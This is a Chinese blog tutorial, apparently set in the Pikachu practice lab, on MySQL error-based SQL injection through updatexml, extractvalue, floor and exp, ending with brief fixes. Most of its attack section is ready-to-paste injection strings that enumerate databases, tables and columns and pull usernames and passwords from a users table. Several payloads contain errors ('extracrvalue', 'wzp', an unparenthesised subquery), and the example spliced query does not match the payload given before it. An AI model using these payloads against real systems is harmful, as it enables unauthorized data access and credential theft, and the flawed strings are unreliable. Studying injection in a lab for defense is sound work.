mysql漏洞函数xpath_SQL报错注入常用函数

注:本文仅供学习参考

SQL报错注入定义

SQL报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。例如在增加删除修改处尝试(insert/update/delete)。

报错注入条件:

后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端。

常用四个报错函数

updatexml():是mysql对xml文档数据进行查询和修改的xpath函数

extractvalue():是mysql对xml文档数据进行查询的xpath函数

floor():mysql中用来取整的函数

exp():此函数返回e(自然对数的底)指数X的幂值

updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

语法:updatexml(xml_document,XPthstring,new_value)

第一个参数是字符串

第二个参数是指定字符串中的一个位置(Xpath格式的字符串)

第三个参数是将要替换成什么

Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据

下面进入靶场尝试

注册就是往数据库里面加数据,insert。

e178684486a283fb0ca9cc9602cdd1d4.png

在用户处输入单引号 报错

82318cc795c2bd990483cccdf14ceeb8.png

我们可以猜测他后端的语句是

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

我们可以在xxx出爆我们想要的数据

' or updatexml(0,concat(0x7e,select database()),1)'

需要单引号闭合前面和后面,使我们的语句逃逸出来

49d0cff8433078221415f7057bb1768d.png

可以看到成功爆出数据库。我们来分析一下为什么会成功

当我们输入payload

' or updatexml(0,concat(0x7e,select database()),1)or'

他后端就被我们拼接为

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

这样就会使我们的语句执行成功(后面爆数据就不一一展示了就在database()那里换就行)

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串

extractvalue (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc

第二个参数:XPath_string(Xpath格式的字符串)

Xpath定位必须是有效的,否则则会发生错误

用法其实跟updatexml一样

构建payload

' or extracrvalue(0,concat(0x7e,database())) or '

6460cca1c4544d7017a86abc6f5da744.png

但要注意xpath回显只有一位使用limit函数逐个爆,且最长为32位,超过32位爆不了

所以使用其他函数

floor()

floor是mysql的一个取整函数

payload:Select count(*),concat(**PAYLOAD**,floor(rand(0)*2))**x** from 表名 group by **x**;

爆库' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

爆表 ' and (select 2 from (select count(*),concat((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

爆列 ' and (select 2 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

爆内容 ' and (select 2 from (select count(*),concat((select concat(':',username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

c6185e007d6b59a9f3e26e2e6bd8c66d.png

成功

exp函数

当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

' or EXP(~(SELECT * from(select version())a)) or '

爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '

爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

爆数据 ' or wzp(~(select * from(select password from users limit 0,1)a)) or '

cce8af0ed6132f6bb6e4b0a536b167d8.png

b18b5c79f7c7075b4867901d3757408d.png

mysql报错注入修复方法:

1. 屏蔽能造成报错注入的各种函数,函数

2. 对输入长度做限制,对用户输入做预处理

3. 对各种报错注入的返回结果,统一返回至不包含任何错误提示信息的回显页面。

4.使用数据库防火墙,精准分析业务SQL和危险SQL,拦截SQL注入等危险语句。

最常用的大概是这几种,据了解好像有12中报错函数,其实目的都是使数据库报错从而得到我们想要的信息,只是语法不相同而已。继续加油!


版权声明:本文为weixin_33421411原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。